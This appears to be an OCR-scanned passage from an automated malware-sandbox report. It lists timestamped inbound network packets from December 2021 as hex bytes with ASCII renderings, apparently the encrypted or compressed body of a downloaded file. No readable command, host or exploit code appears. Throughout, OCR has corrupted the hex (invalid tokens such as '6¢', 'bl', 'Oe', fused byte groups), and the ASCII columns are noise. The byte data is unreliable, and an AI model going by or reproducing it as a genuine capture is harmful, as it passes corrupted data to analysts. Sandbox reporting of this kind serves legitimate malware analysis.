64 09 71 2b 85 61 7 3d 4f d4 79 95 99 19 29 b6 be 6a 3c b3 76 8e 28 3a 39 bb c3 14 6f 6¢ 1b de 3e d7 59 de f2 50 27 b8
a6 19 37 12 9a 92 55 4e b9 c6 58 ca db 5b b8 51 56 af 8d ea 90 e9 dd 25 d3 c7 1f f8 ac 72 23 41 fe 44 20 26 fb cf 6f 47 ae
6f 25 b3 6¢ 66 c5 c7 a8 18 05 a9 b9 9e 6 be bl a4 22 fd 65 b1 10 de 8d 8c 8d 8b 08 df 9a 5d 52 3a 4e 8f bf ba cd c4 84 25
19 51 2a 6e 92 44 69 el fe e4 ba 1f 61 4e 4a 6d 28 d8 44 bb 2e e8 b2 59 50 2b 1d cd 5 f7 52 ea 81 f9 6a 67 00 61 8d 52
b0 69 ec f3 78 cd ad 3d 0f 68 69 e4 4a cd be
Data Ascii: EKz)_gk/N5TabB0&g!E#dq+a=0y)j<v(:90I>YP'7UNX[QV%r#AD &0G0%lf'e]R:N%Q*nDiaNJm(D.YP+RjgaR
ix=hiJ

2021-12-01 12:26:35 UTC 159 IN Data Raw: e6 32 ac 17 d5 89 eb 9b 46 23 7e c1 33 3e df f9 9e 49 17 al ba 6b c6 d4 a0 04 99 fb aa a0 4c c9 15 65 al e8
4258 38 55 9b ba 2b 48 39 a9 2f 74 b9 ad ef 2d ce 1e 6b 3c 2c 5d 51 3f ab e6 ec e4 2e e9 45 2d 73 1f 6e 9a a3 97 9c e
18 6e 5a ad 30 6¢ 66 72 2b 3b 62 1c 00 d7 47 31 8a 4d 5e 81 82 ea ea 9f 8b a6 8f ab b6 78 5d b3 53 5e db e2 4e al 02 04
21 a4 cc a9 a2 Ob be 40 02 c5 23 50 53 a3 07 85 29 9a 1d 4a 09 7c b2 70 e4 a0 86 6e 66 63 13 0b 9a 1e 01 51 f3 52 71
6d 80 b4 06 18 7f 59 7f 8a 4c e4 da 6e 5¢ 93 3 53 55 6f 40 7c ed 77 2¢c 32 eb e5 09 c9 2c bf 57 cf 87 81 9d ed 53 35 f9 06
9030 c6 dce5 76 cb d5 1b 73 7d 74 3d 1e f6 fa fa 8f 5f c7 57 1f 53 29 08 e7 5d fc 8d 47 5b 08 57 8¢ be 85 76 87 d9 15 91
bc 13 b7 ea fd 75 69 09 1b 11 78 5a a4 df 7e a6 ba f1
Data Ascii: 2F#~3>IkLeBX8U+H9/t-k<,]Q?.E-snnZ0lfr+;bG1IM X]S"N!@#PS)J|pnfcQRgmYLnN\SUo@|w, 2, WS50vs}t=_
WS)]G[WvuixZ~

2021-12-01 12:26:35 UTC 160 IN Data Raw: 66 ac 18 d3 f7 c0 27 4e dd b6 a7 d6 18 ed 14 9e 15 df 4d 16 dO df 64 Oa 2d bb bl 7c 63 94 e5 79 d3 b7 06 ea
4d 13 e2 86 88 c5 a5 87 2d bc 9c 0d ff 8b 6f 28 4c d1 6e 03 13 c1 ea 0f 0d e5 1f 50 e4 26 25 d5 c2 87 34 29 83 91 b0 d5
e5¢1f7 71 b6 53 bb 76 d3 8d ad ad b6 79 e0 bl 23 6a 25 4f 71 48 53 64 22 70 c0 fe a4 9a c7 73 aa 8b 11 55 2a 73 fd 9b
9d ba 9d 82 52 cc 6b ca 09 4e ad a8 bd b3 08 20 35 96 62 28 6¢ bc a7 dc a7 16 bd 72 9c df d4 54 aa 82 3a 25 50 47 db 7a
ae 8c e4 7c Oe 2a 8d 4b 99 22 b1 36 f3 1a 48 a9 ad ac 7d da 06 bl 44 eb cd 35 dd 93 36 91 6¢ 81 2f 84 42 00 8f 7a 73 cd
50 df 19 c6 7e bc 9c e0 26 ce 93 a3 8¢ 28 7 11 f4 51 bl c2 Oe ef 01 74 59 28 e0 27 33 d2 9f f5 ef 3¢ ff 38 79 7e 76 cf 56 63
72 81 3e a2 29 17 62 6 2a 8b d9 20 df 41 7f 77 45
Data Ascii: fNMd-|cyM-0(LnP&%4)qSvy#%0qHSd"psU*sRKN 5b(IrT:%PGz|*K"6H}D561/BzsP~&(QtY(‘3<8y~vVcr>)b* AWE

2021-12-01 12:26:35 UTC 161 IN Data Raw: fc da b2 be 97 a2 86 ba 15 56 al 5d 06 b5 8c 1c fe 58 57 45 f6 a4 f3 cc 56 df 38 73 b6 46 35 1f b2 2f a6 07 b6
00 04 03 6d a8 66 a2 bb 8f 0a 21 32 1d 5f af 7c 14 40 fd 59 40 02 a6 f2 69 77 1a 73 77 cf 45 c2 e8 71 63 5d Oa 9e df 98 93
80 14 9f fa f0 2b 34 f6 10 f9 6d a7 7d 21 75 7e 0d be c8 38 fb 6d 95 15 15 1d ae 00 47 8e 92 el fc a7 f8 13 7f 62 56 dc 1le
8b ed 6¢ 56 33 de 55 f6 d0 2f 3a 35 76 f8 c2 fO 7a ec c6 41 cb ab 1d f6 a5 e0 75 6a 5f 26 60 30 5a b4 eb 53 95 d2 c6 c6 00
07 8ad7 75 93 0f 61 58 e2 26 fd 3a 92 d3 5d 0a 38 7d 8e 67 bc ¢9 17 1b 91 63 18 36 41 9c 86 63 d9 15 4e a7 13 6b €0 9b
36 06 71 5f 60 83 f4 dd 7a bl 5¢ 25 40 71 79 b4 57 65 e2 3d f5 da 26 d3 26 d9 4a bb 6¢ 01 f4 52 01 cd a8 d2 b2 01 2b b7
04 53 59 4f b4 17 df 06 07 e5 e4 d8 26 ec bd
Data Ascii: VIXWEV8sF5/mfl2_|@Y @iwswEqc]+4m}u~8mGbVIV3U/:5vzAuj_& 0ZSuaX&:]18}gc6AcNkeq_"z\%@qyWe=&&
JIR+SYO&

2021-12-01 12:26:35 UTC 162 IN Data Raw: 92 al 8d f6 d4 00 9f 28 c6 89 fb 86 5d 4c 79 e4 01 03 e2 d4 a3 7d 68 aa 93 bd 29 70 75 e6 65 11 7a 63 92 3f
ee 90 47 30 al 86 f4 bf 68 b6 2c 54 35 8c 2e 63 9e bl {7 22 dc 26 4b 16 1b 69 2a 28 90 dc 7 e6 39 f0 5d 74 53 13 73 9b
a8 al be bl 38 64 77 82 0f 72 59 73 21 5a 3f 79 59 87 38 43 bf 1a 2c ec ce 6 bc f2 fb c7 cb cf e2 48 1f fa 05 3f c1 e8 59
bb 3e 1f 06 86 el 83 a6 2f 91 75 22 f1 1f 7c 41 aa 2a b9 1b b4 46 5b 10 62 bb 65 eb a9 b8 40 63 7d 34 19 b1 cd ea bc Oc
97 8b 9a 32 67 f4 fd 94 bf a3 51 b8 1e 70 96 aa 8e c9 44 41 77 55 7d ce 56 3e 21 e5 ¢8 07 6 3d 99 65 ee a3 93 90 d7 69
09 d1 78 b9 5d df ea d2 68 de 85 57 65 36 28 61 32 c1 f3 d8 ef 3f a7 3e 1b 76 1a 3a 94 le bd d1 36 2b 77 33 f8 dd e2 3f
da e5 30 a7 89 21 9f 9a dc 4a 6a 58 21 37 7b 5¢ d1 d1
Data Ascii: (JLy}h)puezc?GOh,T5.c"&Ki*(9]tSs8dwrYs!Z?yY8C,H?Y>/u"|A*F[be@c}42gQpDAwU}V>I=eix]nWeb(a2?
>v:6+w3?0!JjX!I7{\

2021-12-01 12:26:35 UTC 163 IN Data Raw: 58 2f 9d 0a 75 2a 79 c4 c0 2c 1c 54 dd 87 80 92 28 82 24 a9 33 d2 ba 63 02 0f aa ff c9 ec 76 b9 b7 fc 3f 65 1b
74 d2 92 ee 2e 59 5d 46 17 7b 5e d6 75 4e 53 54 24 e7 9c ef c3 e2 8b 9d 7b 4b 88 de 17 c0 b1 Oe c3 f2 68 4a 3d 83 8e 2b
8510 61 24 9c 17 2a 58 cb 35 €0 7c b4 2c 36 29 6f 7b db ea df al fd el 3f d3 db b8 32 50 63 20 50 08 3b 26 56 a2 99 e3
cb 60 15 Oe Oc 35 13 92 fb f3 78 ba 78 14 b2 5c 43 b7 20 b0 f3 ab de 9e 31 1e a2 3f {8 39 57 3f 2d 97 13 a3 8 49 df 10 10
9d 41 b8 3e ba 31 45 e9 df 70 c9 3a f6 69 b0 a0 41 bf ed b7 79 81 13 36 11 9c 88 43 b7 €9 64 07 1f fO 64 8 24 c3 f9 46 39
aa 25 5d 3b 93 7b 8c cd f9 27 93 9¢c 97 dd 6e bf 34 85 01 98 bc 78 5a 27 5d 7c 9d cd fd 14 d4 80 54 e8 23 dd 32 2d a6 6d
ef 71 73 4a 8¢ 11 92 18 08 7e c7 31 d7 eb 08 f9
Data Ascii: X/u*y,T($3cv?et. YIF{"uNST${KhJ=+a$*X5|,6)0{?2Pc P;&V 5xx\C 1?9W?-IA>1Ep:iAy6Cdd$FI%];{'n4xZ"|T#2-
magsJ~1
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Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 164 IN Data Raw: b4 a5 64 43 3e 81 76 77 51 00 51 b2 c4 Ob 74 80 f7 5b 76 d8 25 88 88 el 21 90 25 95 a3 3a d6 89 5a 7f c8 f2
0d e8 16 60 00 38 e3 a8 df Ob cc 09 Oc 25 f1 c2 ce 75 ae 89 89 b6 fa 51 fa 5¢ d9 79 2c 39 ab 10 f8 60 1d fO 4a 64 db f6 d2
84 16 00 28 d4 Oc 0f 02 64 60 be b6 6d 96 5a f1 1e 85 Oc 3 65 a2 a3 60 b8 57 b7 25 b7 81 bc 19 64 fd a4 04 48 4e 19 40
ff 82 83 e4 24 aa €9 59 ba 51 7a 95 1e bc 74 35 2b 77 2e f4 02 e2 8d ad d4 1le 97 a7 de b8 a9 ed 6e 6a bb 21 83 7e 59 bl
d1 68 44 e9 fd ff 20 48 03 a6 a7 f6 67 02 28 ¢7 b5 bd 12 bb fc 70 c8 15 e4 ae 55 9d f1 38 23 a0 21 3b 3e 59 68 c5 94 c3 10
5e b4 1b 6a f2 df 61 51 28 bf 78 32 €3 d5 63 €3 4d 6f 41 62 23 ae 52 bl cc bc 94 ¢3 07 f4 05 2f 61 db 49 3b c7 7d 27 4d
81 ed ca 39 1b Oe 35 60 7e 4d a2 06 dc cb 1d Oe Oa
Data Ascii: dC>vwQQt[v%!%:Z'8%uQ\y,9"Jd(d'mZe " W%dHN@$Y Qzt5+w.nj!~YhD Hg(pU8#!;>Yh"jaQ(x2cMoAb#R/al;}
'M95'~M

2021-12-01 12:26:35 UTC 166 IN Data Raw: c6 ac ca fO c1 bb ac 2a el 4c 63 15 5b 18 e5 33 1e 9d 90 fO c8 43 21 20 30 25 72 a2 21 40 78 2f fc 05 Ob ed 49
2f 84 99 29 67 d4 Ob 17 14 78 ab d4 29 c5 2e 94 6e 3f b3 ec 66 66 c2 39 8d 2a ae 87 37 14 55 64 d2 01 75 31 e6 65 a3 19
a7 b9 ff b8 66 81 e0 90 03 87 ac 43 f9 d6 69 fa Ob 8 c6 2 29 6f e5 4e 2f 8¢ 36 el 27 9b 83 8b c0 ¢3 07 9b 8d 9b dO 71 ae
3c 09 04 8b 9d 57 cc 98 76 37 09 c0 6b 39 da 90 fc c0 2b 99 22 3b 5b 6d dd de 6b 59 91 48 26 bc Of 3e f3 47 26 €0 09 b9
4c 07 d7 b2 49 ae b0 08 9c 7b 6f cc ad 36 93 e7 Oe 1d 3b ee 6e 50 e3 Oa 5f 44 Ob ac b4 cf 6e 67 6d e5 86 79 40 48 c8 f9
85 1f 8d 5b 8e 81 3b 03 f4 d8 b2 d1 5 df 1b 85 23 8c b3 29 el 8¢ 7b d9 68 d7 3b 10 cb 21 b9 46 9f 85 1a 54 be 36 46 57
06 3d 94 bf 5a 3e 61 d7 60 52 eb 1d 59 Oe 6¢ 5b 4f
Data Ascii: *Lc[3C! 0%r!@x/1/)gx).n?ff9*7UdulefCi)oN/6'q<Wv7k9+";[mkYH&>G&LI{o6;nP_Dngmy@H[;#){h;!FT
6FW=Z>a'RYI[O

2021-12-01 12:26:35 UTC 167 IN Data Raw: f0 a5 07 fc be 44 ce 70 37 16 bd Oc 9f ab ba 13 4d 5b 35 16 33 51 82 f1 15 fc be 15 22 45 54 c3 9e 4a d0 23 07
21 b3 39 da f7 13 fa 51 76 95 b2 3e f9 29 16 7a 7f 74 77 b7 e0 5e a4 fd 3e 2b dc e9 ea 11 1e 6d 6f 1c e2 49 55 a8 b9 6¢
bl 3e ed 7d 81 24 00 73 f9 d7 7e e4 2d 16 f2 al 26 3c 4e b6 c3 29 5e 14 4c b6 4d e2 7e de 52 7c 7c c9 6e 8e d1 fb 34 63
89 2d 76 4e 75 2f 1c 4c ff 2b ¢3 41 f1 f5 36 d8 28 5b 84 21 f4 5b 70 76 €8 ed 8 15 4d 19 cf 69 4d 60 a6 10 4a 16 8c 11 Oc
50 63 38 10 d6 1e 43 8e 46 f5 f7 52 el e6 a5 13 el 43 3b ca f0 a2 d9 5a 94 39 al df 2c 71 9e eb da 5e 06 2a 89 83 b6 6e
€7 98 ae 89 fc 95 db be 8a 48 65 a6 af f3 2e 22 23 f7 17 99 3b 59 e7 41 cb 0d 17 44 4b cf 29 3e 28 1le db 06 27 c8 a3 8b
le 17 c8 fd da d0 a4 6d 30 10 cb 10 64 4e 9f 60 48
Data Ascii: Dp7M[53Q"ETJ#!9Qv>)ztw">+molUI>}$s~-&<N)*LM~R||n4c-vNu/L+A6([![pvMiM IPc8CFRC;Z9,q"*nHe.
"#;YADK)>('mOdN"H

2021-12-01 12:26:35 UTC 168 IN Data Raw: 24 6d e4 ce 10 a9 05 74 27 4a 5a 92 cd c1 06 9b b5 05 dd 62 8f ab ad d1 90 93 56 cc 20 57 7c 8b c1 7a 33 51
8121 c9 27 f4 2c 2d 45 6b 5b 42 7c 6a 04 1f 43 23 02 7e ed 11 a6 6 8e f9 44 71 c0 77 a3 e6 a2 5e 1c 37 68 8c 33 30 83
5b 9f 0f c3 b0 e0 c7 e2 4e 41 12 Ob ba a5 ab e7 60 6f 70 90 6a 42 1e 48 6e 04 57 85 2d 99 96 37 42 fa 8e 32 15 f4 97 85
d3 b5 e0 23 60 ef d3 eb 2f d5 c1 25 16 cd bd ae 55 8b d4 3d cb ae 7b fc 5e 86 2b 93 f2 55 68 03 06 87 1d e4 4b 89 22 6b
16 51 ee b1 ad 0f d5 3f 39 d4 3e 46 cf e5 el 00 2c a5 79 af b9 00 bd ea f4 b3 d6 2f ef ba c5 al 70 6d 64 b2 36 2f c4 ce e5
58 11 b3 a7 6f ee d4 86 40 aa c0 96 7a 31 fO 3a 58 94 c6 6b c5 28 e8 bf 6¢ el 0d 97 57 f2 bd 62 77 29 6d 2b 99 aa ea fc
b3 e7 e5 7e 3d 1b 05 d6 95 a8 33 9e ea 8b 17 29 49 48
Data Ascii: $mt'JZbV W|z3Q!",-EK[B|jC#~Dgw"7h30[NA opjBHNW-7B2# /%U={"+UhK"kQ?9>F,y/pmd6/Xo@z1:Xk(IW
bw)m+~=3)IH

2021-12-01 12:26:35 UTC 170 IN Data Raw: ¢5 0f c2 04 57 23 1a 3d e6 fa 61 80 bd 49 78 a9 e2 c1 6a f5 4a 73 4a 47 23 47 c7 4b cc 07 95 c0 07 63 04 88
71fe 49 96 5e 77 26 f6 80 e9 cb ae 1a 8a 34 45 7e 78 3a 10 dd 17 1c 48 08 78 e0 2a 22 f1 18 43 98 41 c7 f6 54 e7 3a 8a
04 12 47 1e 86 f7 90 db 5¢c 97 cf 6 ee 48 7c 30 73 fe 20 19 2c 89 14 b4 57 83 9d f2 94 ea a3 fc b8 8a 85 62 94 ae {5 68
b6 49 6¢ b1 90 le ce 6 73 c9 Ob 14 52 4a e5 05 1d d9 d8 ff 34 25 ce a3 c7 1a 25 8c f8 bc 4c Ob 1c Oa 16 cb 87 65 77 9e
66 Oe 50 fO 05 8e e4 90 e7 51 ab 27 f7 96 1b de 75 34 cb 40 64 Oc 9d e6 57 93 63 c1 c0 ec 05 4e cb 70 82 83 08 d8 20 af
3305 ba 9c 1b 63 al 38 ee 5f 71 b3 b7 5¢ 36 f0 1c 38 d1 60 d1 48 70 6a 46 12 64 59 fd 64 4e dd 73 48 c7 f2 e0 45 c8 f2
2a 69 4b ff ed 01 f3 97 2b 48 da 4a 61 8f al 9b 34 3c Oa
Data Ascii: W#=alxjJsIG#GKcql"W&AE~x:Hx*"CAT:G\H|0s ,WbhlIsRJ4%%LewfPQ'u4@dWcNp 3c8_g\68 HpjFdYdNsHE
*iK+HJad<

2021-12-01 12:26:35 UTC 171 IN Data Raw: 42 0d 48 95 8d 47 98 27 Oe 3f 39 4a ea 8e 32 06 f4 81 02 65 a7 ea b4 99 fa db fb 2f 69 8c 25 d2 cc Ob bb 7f 9d
4b 9c c2 bf 7b 58 12 86 99 96 02 55 42 el 9f 6b 1e 5 4b d9 51 6b 0d 60 le bl 87 12 56 cb 3a c5 3e 46 bd e5 76 01 96 bc
53 4a 7f 92 be fb f4 2f a7 2f 78 bb 59 b4 5a 3c 7f ce 3e 3e c4 ea 95 58 5d b4 e7 64 c4 f6 c1 3c a2 d1 96 a2 41 fO 36 5e 64
€6 4152 19 79 b7 7d el 89 ef 57 6d bf b9 64 03 fa 6a d8 a8 fb fc 93 98 e5 32 3a 8c 09 fc 02 11 ¢7 96 fb 8b 6b 4b 49 7e 57
19 a7 ad 7d d6 9b 82 86 dd dc 84 fd 10 Oe 74 c1 56 b5 d6 7f 42 3e 16 77 64 51 f0 62 8f d5 af 75 Ob ea 5a 76 ce 22 9b 88
ee 3784 27 31 a2 71 ca 88 5a bb c9 el 0d Oe 15 c1 08 9c e2 56 c2 Oa cc 58 0f 36 f1 €9 c8 52 bf 2d 88 88 d9 50 fa cb d8
6a 2c fc af 71 fc da 1c 8a 6f 61 db €0 d5 97 16
Data Ascii: BHG'?9J2e/i%K{XUBKKQK V:>FvSJ//xYZ<>>X]d<A6 dARY}Wmdj2:kKI~W}tVB>wdQbuZv"7'1qZVX6R-Pj,qoa

2021-12-01 12:26:35 UTC 172 IN Data Raw: 81 f8 ba le c4 d2 ae 2b b8 ad d9 b8 8a 83 6a 6d a0 35 2e f9 22 a7 49 9e 3b ce e6 75 c1 e8 le 1b 4d b0 2b cc
6b db da 34 25 c8 ab 37 10 e5 ca b6 da 47 el 12 2f 16 cb 81 6d 4e b0 43 4c 1d ac 3a db ea b5 e7 51 ad 2f bc b8 e5 99 38
5f 80 bf 6a 29 9d e6 51 9b 1f ca €5 ee 52 60 9a c5 81 a6 08 d8 26 a7 bb Oe 44 db 57 05 2a be e0 7a 71 b3 b1 54 19 c7 32
7f 82 3c 6e c3 7e 4f 46 12 62 51 c¢1 53 d6 98 20 23 Oc ca ee 60 c8 ad b6 61 8b ea c8 14 ba a3 fa 8a db 6f 61 3b 85 93 fa
29 f4 66 75 25 09 d6 43 cd 35 be 75 05 2d 3a Oc f1 34 25 d6 88 a0 c8 f1 c1 dd a8 8f e2 b3 62 72 56 48 a2 33 1e 92 9f e5
c2 d1 2e 13 1b 66 70 d7 64 da 7e ba el 02 03 e4 5a 2f 9a cb 29 03 8d 9f 0a 15 78 11 6 93 e6 9e 90 d9 15 17 ab 66 66 Oa
16 9b 20 1a a6 1c 33 11 66 13 44 d5 3c f6 67 a4 11 40 a8
Data Ascii: +jm5."l;uM+k4%7G/mMNCL:Q/8_j)QR &DW*zqT2<n~OFbQS # a0a;)fu%C5u-:4%brVH3.fpd~Z/)xff 3fD<g@

2021-12-01 12:26:35 UTC 173 IN Data Raw: c3 f9 86 29 11 7f 21 7f ee f6 91 2f bb ff b3 81 71 81 3a 78 13 d6 6b 52 29 68 ae 53 c4 a0 df 26 f2 c9 e5 67 29 fa
2a ¢l bl d5 d9 c3 a8 94 7e 71 93 12 d6 02 a9 df 97 6¢ 8a 78 58 38 48 7b 48 a4 87 7d ee 80 83 90 da cf 97 8¢ d9 40 32 da
7c b5 ae 74 43 a9 17 01 54 20 71 3 f4 ¢5 85 75 8b €0 5b e cf b4 ab 9 90 97 7d 25 1b a2 31 d1 91 74 9e da f2 7c 99 9c
3d 01 b6 e2 aa b9 08 5b 59 8f 04 80 df 2e 2e af 07 88 b4 fc 49 d4 ee cb 79 5d b0 b3 4a 9 f0 1c f2 2¢ 63 ab f0 c6 84 67 1d
02 8e 0d 9c 03 66 24 bd 21 4e 7f 5b 80 03 bd 56 €2 2 a3 01 71 a0 63 €9 a0 b7 f0 bc b 3e fc 3a 05 4a 58 19 d7 b2 be a7
95 39 aa b0 58 25 50 78 83 1e 2b d0 07 Of 06 33 58 53 e3 3f ac d1 08 97 30 13 ec 8d 9f 73 Oe d7 20 37 7f 5¢ a7 di ff aa
b4 d9 8b 3d 5¢ 7d a7 le 7 65 15 28 50 79 d5 36
Data Ascii: )!/q:xkR)hS&g)*~qIxX8H{H}@2[{CT qu}%1t|=[Y..ly]d,caf$IN[VGc>:IXIX%Px+3XS20s 7\=\le(Py6

2021-12-01 12:26:35 UTC 175 IN Data Raw: 20 d2 33 16 64 db 18 05 aa ec el ed 70 a3 bc 21 36 37 c2 7f d2 3c da 91 7f d8 47 a4 60 24 fd f7 91 9a 70 23 cc
98 ef f7 c9 f3 bb 14 4b 13 32 11 eb a3 Oe d8 da 79 66 cf 88 e6 34 Oc ea 66 24 25 09 85 42 db 32 e0 78 70 36 5c c9 f4 66
25 e2 dc al 5f f0 6a f1 dd ba a0 ac 62 20 56 08 f6 32 89 93 54 c9 b7 42 25 df 1b 35 70 a3 37 db 68 bd f1 Of 76 46 c5 5c 98
98 29 83 de 9e ce 14 f3 07 83 39 97 ¢3 95 8d 15 a3 f8 67 f1 Ob 68 b6 55 af 53 50 36 45 66 d3 17 d4 2a f1 19 89 64 5b 00
cd ba 67 81 13 9f Ob ab 88 50 b7 86 64 a8 f9 f9 4d ea 24 7b e4 d9 11 60 Oe e 26 4f a6 9f cd c1 06 8d b5 12 dc 83 84 41
ac 3f 6e 9e 56 cc 20 41 7c 1d c6 61 3f bb 80 76 36 2a f4 2c 2d 43 73 {5 67 4e 69 ee 1e 06 dc Of 7e ed 11 a0 ee 20 dc 03
7d 2a 76 dO 16 af 5e 1c 37 Oe 8f c3 20 86 7b 75 Oe
Data Ascii: 3dp!67<G $p#K2yfaf$%B2xp6\f%_jb V2TB%5p7hvF\)9ghUSP6Efd[gPdM${ &OA?nV Ala?v6*,-CsgNi~ v A7
{u
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Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 176 IN Data Raw: 76 52 20 8a 88 90 23 c9 25 ad a0 d7 d5 f4 5a Oc cb f0 0d 99 14 27 00 dd 6 4c dd 76 cc 8a 0d 27 f1 df ce 34 ae
e7 8a 52 f8 2c fa 25 da 7b 2c b0 a8 51 f8 65 08 14 48 1d db ea d6 86 16 1d 28 95 Oc 96 00 80 62 c3 b6 69 82 58 f1 03 85
4d e3 0b b6 e7 62 c5 57 8e 25 b5 81 bc 19 25 fd 04 06 ac 4c 64 40 ee 96 81 e4 39 aa a8 59 d9 46 9e 97 63 bc a9 35 29 77
3314 4b e2 57 af 37 1c ea a7 86 ac ab ed 73 6a ce 21 Oe 68 ba b3 ac 68 04 e9 ff ff 3d 48 7b a6 8c f4 83 01 55 c7 b3 a7 10
bb fd 72 b0 15 3c b8 b1 9e 8c 38 dd a7 23 3b 3f 5b Oc ¢5 f3 c1 f4 5d c9 1b 60 ed dd 61 50 2a df 78 23 fa 31 60 9e 4d 32 41
60 23 af 50 dd cc 01 91 27 05 89 05 ce 7a d9 49 26 c7 el 26 80 9a 09 c9 44 1b cf 30 62 7e 4c a0 86 dd 27 18 ea 08 2d f4
48 26 d6 18 43 98 d7 c7 c0 4f 07 20 d9 21 6e 41
Data Ascii: VR #%Z'Lv'4R,%{,QeH(biXMbW%%Ld@9Y Fc5)w3KW7sjlhh=H{Ur<8#;?[]'aP*x#1 M2A '#P'zI&&D0b~L'-H&CO
InA

2021-12-01 12:26:35 UTC 177 IN Data Raw: 92 el ca 42 21 ab 1a e0 44 45 23 a6 7e dd ec 06 Ob 46 55 21 99 c6 28 65 ca €3 0a 9c 75 15 fe 39 c7 b9 94 31
1345 ec 1a 66 a0 1b 9f 28 af 87 36 37 f4 67 35 03 a9 3c 3a 6a a0 19 5b b4 79 ba 57 86 f5 9b 6e 85 43 4e b5 fb 64 {8 9c f8
ae eb c2 6f 99 4e 00 b6 27 €3 26 9b c4 9e ab c6 €0 99 c8 85 ec 7d ad 3c ac Ob Oe 9f 03 ce c6 55 01 Ob 93 65 11 c6 80 fe
57 2b dc 24 cb 47 16 db 36 63 48 93 1e a6 bd Oe f2 ef f7 a4 8b Oe 6f 5¢c 53 57 76 48 78 ae 4b 16 d1 6a f1 b3 88 9b 79 08
Oe 39 2e ee 7e e0 a8 43 6f 8b 60 bd 89 70 61 6b ef 80 04 56 f8 4a 13 84 ab 9d Of Oe 97 3c dd ea 6d 30 f3 f6 ea 05 cd ac
c2 b4 61 ff 4c fb b7 7d 79 27 6b cd 82 b0 57 9d d3 9a 55 bf 76 5b e7 84 56 93 92 4b 6a el 13 61 89 f5 b7 cc a4 69 6b 51
6f af af 12 d6 d9 ad c5 7f 45 48 e7 9c 00 8e bb 7b 4a
Data Ascii: BIDE#~FU!(eu91Ef(67g5<:j[yWnCNdoN'&}<UeW+$G6cHo\SWVHxKjy9.~Co pakVJI<mOaL}y'kWUv[VKjaikQo
EH{J

2021-12-01 12:26:35 UTC 178 IN Data Raw: b4 40 Oa a5 20 95 27 04 ba da 18 93 aa b3 €0 9c 73 ce b7 00 22 f1 1c 7e d2 aa da 20 79 a9 44 6f 64 27 €9 65
4e 9b 70 b5 cc 12 ee 86 ca d0 b0 c9 5f fd ed 10 eb 35 Oe d5 dd 89 63 46 83 59 20 3e 0a 67 24 b3 09 5d 43 2b 37 c3 73 €9
2226 29 f5 66 b3 e2 9c a6 2e f3 be db a6 af fe 4d 63 20 c0 08 1c 33 f8 90 e2 e3 e2 57 23 3d 1a 35 e6 a3 3 dc 98 b8 9c 04
4153 57 b7 99 98 bf 83 bf 9c ec 17 05 17 92 2c c5 2f 94 8d 83 a3 ee 6d 80 08 6b 9d a6 ba 85 a0 37 45 f0 d3 a5 d6 da f4
la a2 a9 4e b6 ef ba 67 17 13 a2 07 63 af 3e b7 29 71 fa 0a f8 4d 7c 24 a3 e6 a8 12 ¢5 25 17 33 99 52 9e cd 57 06 18 al
63 df Oe af 2a ba 09 98 9f 56 5a 20 af 7e ed c¢3 16 13 fe 96 fc c1 2b f4 ba 2d a2 7e 3d 40 10 4a c9 08 a4 2b Oe 7e 7b 11 84
5 e8 fb 2f 51 2b 60 4a ee ae 5e 8a 37 82 9a 55 32
Data Ascii: @ 's"~ yDod'eNp_5cFY >g$]C+7s"&)f.Mc 3W#=5ASW,/mk7ENgc>)qM|$%3RWCc*VZ ~+-~=@J+~{/Q+ I 7U2

2021-12-01 12:26:35 UTC 179 IN Data Raw: 77 f6 f6 34 56 cc 22 88 88 06 23 bb 15 fd a0 4c d7 19 7a b9 c9 f2 0d Of 14 14 05 50 e0 d7 df b9 ec 5a Of 25 f1
49 ce ac 9f el 8a c9 fa 85 da c9 d8 79 2c 26 a8 08 fd 16 1e 8f 4a 96 fb e2 d5 84 16 8b 28 3b 3d 7a 01 1b 60 a6 97 4d 81
5af1 95 85 f2 e5 14 al 7c 60 81 76 ce 26 b7 81 2a 19 be cf dc 07 37 4e 42 61 bl 95 83 e4 af aa 6d 5f c3 52 05 95 63 9d
d3 36 2b 77 a5 f4 4d dO d9 ae ac 1e 08 86 10 af a9 ed e5 6a 25 27 d1 7d 21 b1 11 49 a9 ea fd ff ab 48 1d 92 8 f5 18 03 c9
e6 7a a4 12 bb 6b 72 6a 14 b9 ad 2a 9c f2 1a 38 a4 21 3b a9 5b 30 c3 c9 c0 6f 5f 91 39 60 e9 df 61 c6 2a d6 79 6f e0 aa
62 a4 6f 2e 45 62 23 39 50 55 cb e1 97 bc 07 9d 27 f6 7e db 49 b0 ¢7 a6 27 10 82 92 cb b2 39 9b 34 60 7e da a0 44 da f1
le 71 Oa fd d6 3b 22 d4 18 d5 98 bf ¢6 13 56 9c 22
Data Ascii: w4V"#LzPZ%ly,&J(;=z'MZ| v&*7NBam_Rc6+wM|%'}!IHzkrj*8!;[00_9 a*yobo.Eb#9PU'~1'94"~Dq;"V"

2021-12-01 12:26:35 UTC 180 IN Data Raw: e7 82 32 90 9f e3 ca d4 21 aa 1e d3 72 de 21 0a 52 b8 el 04 0Ob d0 55 9e b8 7e 2b fe ¢8 6¢ 26 17 78 17 fe af c7
ee 90 6b 17 de ee 73 4b 08 16 9d 28 39 87 fc 16 a3 64 ae 01 e2 11 f4 67 a2 19 cd b4 04 be 81 83 6e 99 4b a8 af 43 b7 fb
f2 f8 cc d9 ab e8 59 6d 9e 63 12 b8 25 €3 b0 9b 4e 9b 2b c3 7b 9b 29 a8 df 73 af 3c 3a Ob 5f ba b0 ce 5d 57 c2 26 c3 6b
13 c6 16 fe 87 2e 12 2e 50 45 8b 6 40 6d 4a 93 88 a6 25 23 98 ef 6¢ a6 f7 20 fb 52 51 57 €0 48 9e ab b8 le 4a 68 ae 9d
3295 7b 08 98 39 5f de 21 e0 33 41 51 a5 b8 b3 8b 70 f7 6b d1 85 8c 40 63 48 0a aa 55 93 0d Oe 01 3c 5a db 68 30 68 f4
11 2b d1 a3 c0 b4 7 f 08 fe c9 6b e2 25 be e3 bf bf 55 9d 45 9a f8 8e 9d 5a 7c 86 el bd f0 44 68 el 85 61 33 f3 ad db 3f
6b fd 7f ec a0 ad 12 40 d9 2b 7 d8 44 d3 e5 ec 2f
Data Ascii: 2!/"RU~+|&xksK(9dgnKCYmc%N-+{)s<:_]W&k..PE@mJ%# RQWHJIh2{9_!3AQpk@cHU<ZhOh+k%UEZ|Dha3?
k@+D/

2021-12-01 12:26:35 UTC 182 IN Data Raw: 02 07 4a 4e 19 d6 b3 d0 94 02 3b d7 3e a5 1d 52 78 95 1e 2a d1 a8 28 91 31 89 dd ff 06 ae d1 1le 97 31 12 1c
